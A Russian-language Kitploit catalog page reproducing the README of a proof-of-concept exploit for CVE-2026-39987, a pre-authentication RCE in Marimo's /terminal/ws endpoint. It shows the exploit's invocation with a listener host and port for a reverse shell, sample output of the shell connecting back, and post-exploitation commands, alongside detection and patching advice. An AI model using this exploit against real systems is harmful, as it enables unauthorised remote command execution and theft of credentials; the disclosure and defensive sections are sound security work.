Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-39987 — Proof-of-concept эксплойт для RCE без аутентификации в Marimo. Использует неаутентифицированный WebSocket-эндпоинт /terminal/ws для запуска PTY и установки reverse shell. | Kitploit
Инструменты/GitHubGitHub/k3ystr0k3r/cve-2026-39987
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubk3ystr0k3r/cve-2026-39987

CVE-2026-39987

Proof-of-concept эксплойт для RCE без аутентификации в Marimo. Использует неаутентифицированный WebSocket-эндпоинт /terminal/ws для запуска PTY и установки reverse shell.

Репозиторий
1 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-39987 — Marimo: RCE до аутентификации

CVE CVSS CWE Marimo

CVE-2026-39987 — это критическая уязвимость удалённого выполнения кода (RCE) до аутентификации, затрагивающая Marimo, среду реактивных Python-ноутбуков.

Уязвимость присутствует в терминальной WebSocket-конечной точке Marimo:

root@kitploit:~
/terminal/ws

Конечная точка не выполняла надлежащую проверку аутентификации перед созданием терминальной сессии. В результате неаутентифицированный удалённый злоумышленник, способный подключиться к уязвимому экземпляру Marimo, может установить WebSocket-соединение и получить интерактивную PTY-оболочку.

Действительные учётные данные не требуются.


Сводка по уязвимости

СвойствоЗначение
CVECVE-2026-39987
ПродуктMarimo
УязвимостьУдалённое выполнение кода до аутентификации
Вектор атакиСетевой
АутентификацияНе требуется
Взаимодействие с пользователемНе требуется
CWECWE-306 — Отсутствие аутентификации для критической функции
СерьёзностьКритическая
Исправленная версия0.23.0

Причиной уязвимости стала непоследовательная проверка аутентификации между WebSocket-конечными точками Marimo.

В то время как прочие WebSocket-функции выполняют проверку аутентификации, уязвимая конечная точка /terminal/ws могла принимать соединение без предварительной проверки вызывающей стороны.


Корневая причина

Уязвимая терминальная конечная точка создаёт интерактивный PTY после принятия WebSocket-соединения.

Концептуально поток уязвимого запроса выглядит следующим образом:

root@kitploit:~
Remote Client
     |
     | WebSocket connection
     v
/terminal/ws
     |
     | Missing authentication validation
     v
WebSocket accepted
     |
     v
PTY created
     |
     v
Interactive shell

Ключевой границей безопасности является отсутствующая проверка аутентификации.

Конечная точка, предоставляющая произвольное выполнение команд, не должна позволять неаутентифицированному клиенту добраться до логики создания PTY.


Воздействие

Успешная эксплуатация может обеспечить произвольное выполнение команд с привилегиями процесса Marimo.

В зависимости от конфигурации развёртывания это может позволить злоумышленнику:

  • Выполнять произвольные команды операционной системы
  • Читать файлы приложения
  • Получать доступ к переменным окружения
  • Получать доступ к учётным данным, доступным процессу Marimo
  • Получать доступ к файлам, смонтированным в контейнер
  • Совершать pivot-переходы дальше во внутреннюю среду
  • Скомпрометировать базовый хост или контейнер при наличии избыточных привилегий

Воздействие особенно существенно для сред ноутбуков, поскольку они, как правило, имеют доступ к наборам данных, API, учётным данным, облачным ресурсам и инфраструктуре разработки.


Доказательство концепции

Предупреждение: Запускайте PoC только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.

Данный репозиторий содержит PoC для демонстрации уязвимости в контролируемой среде.

Пример ниже демонстрирует эксплуатацию на локальном/лабораторном экземпляре.

Запуск уязвимой цели

Например:

root@kitploit:~
http://127.0.0.1:8081

Перед запуском PoC уязвимый экземпляр Marimo должен быть запущен.


Запуск PoC

Пример:

root@kitploit:~
python3 exploit.py \
    -u http://127.0.0.1:8081 \
    --host 192.168.101.130 \
    --port 5555

Где:

root@kitploit:~
-u       Target Marimo instance
--host   Listener IP
--port   Listener port

PoC устанавливает уязвимое терминальное соединение и ожидает результирующее подключение оболочки.

Пример вывода:

root@kitploit:~
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882

Демонстрация оболочки

После успешной эксплуатации злоумышленник получает оболочку, работающую с привилегиями процесса Marimo.

Определение текущего пользователя

root@kitploit:~
whoami

Пример:

root@kitploit:~
marimo

Проверка идентификатора процесса

root@kitploit:~
id

Пример:

root@kitploit:~
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)

Это демонстрирует, что произвольные команды выполняются удалённо от имени учётной записи marimo.


Демонстрация файловой системы

PoC также может продемонстрировать доступ к файловой системе, доступной скомпрометированному процессу.

root@kitploit:~
ls -la

Пример:

root@kitploit:~
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py

Переходим в корень файловой системы:

root@kitploit:~
cd /
ls

Пример:

root@kitploit:~
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace

Это подтверждает, что удалённая оболочка имеет обычный доступ к файловой системе с учётом привилегий и ограничений контейнера процесса Marimo.


Цепочка эксплуатации

Полную цепочку эксплуатации уязвимости можно обобщить следующим образом:

root@kitploit:~
1. Attacker discovers exposed Marimo instance
                |
                v
2. Attacker connects to /terminal/ws
                |
                v
3. Authentication is not enforced
                |
                v
4. WebSocket connection is accepted
                |
                v
5. PTY terminal is created
                |
                v
6. Attacker obtains command execution
                |
                v
7. Commands execute as the Marimo process

Критический сбой безопасности происходит на шаге 3.


Обнаружение

Потенциальные индикаторы эксплуатации включают неожиданные WebSocket-соединения к:

root@kitploit:~
/terminal/ws

а также необычную активность процессов, исходящую от сервера Marimo.

Защитникам следует проверять:

  • Неожиданные соединения с терминальной WebSocket-конечной точкой
  • Неожиданные процессы оболочки, порождённые Marimo
  • Подозрительные дочерние процессы
  • Неожиданные исходящие соединения
  • Доступ к чувствительным переменным окружения
  • Неожиданную активность файловой системы
  • Неизвестные команды, выполняемые процессом Marimo

Устранение уязвимости

Обновите Marimo до исправленной версии:

root@kitploit:~
0.23.0 or later

Кроме того:

  • Не открывайте Marimo напрямую в публичный интернет, если это не необходимо.
  • Размещайте сервисы ноутбуков за обратным прокси с аутентификацией.
  • Ограничивайте сетевой доступ доверенными пользователями и сетями.
  • Запускайте Marimo с минимально необходимыми привилегиями.
  • Избегайте монтирования чувствительных каталогов хоста в контейнер.
  • Смените учётные данные, которые могли быть доступны скомпрометированным экземплярам.
  • Просматривайте журналы на предмет подозрительной активности /terminal/ws.
  • Расследуйте потенциально скомпрометированные экземпляры, а не предполагайте, что установка исправления сама по себе устранит закрепление злоумышленника.

Классификация уязвимости

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
Severity:   Critical
Type:       Pre-Authentication RCE
Protocol:   WebSocket
Endpoint:   /terminal/ws
Auth:       None required
Fixed:      0.23.0

Ссылки

  • NVD — CVE-2026-39987
  • GitHub Security Advisory — GHSA-2679-6mx9-h9xc
  • Бюллетень безопасности Marimo и исправление
  • Каталог известных эксплуатируемых уязвимостей CISA

Отказ от ответственности

Этот проект предоставляется для исследований в области безопасности, проверки уязвимостей и образовательных целей. Не используйте PoC против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Скачать инструмент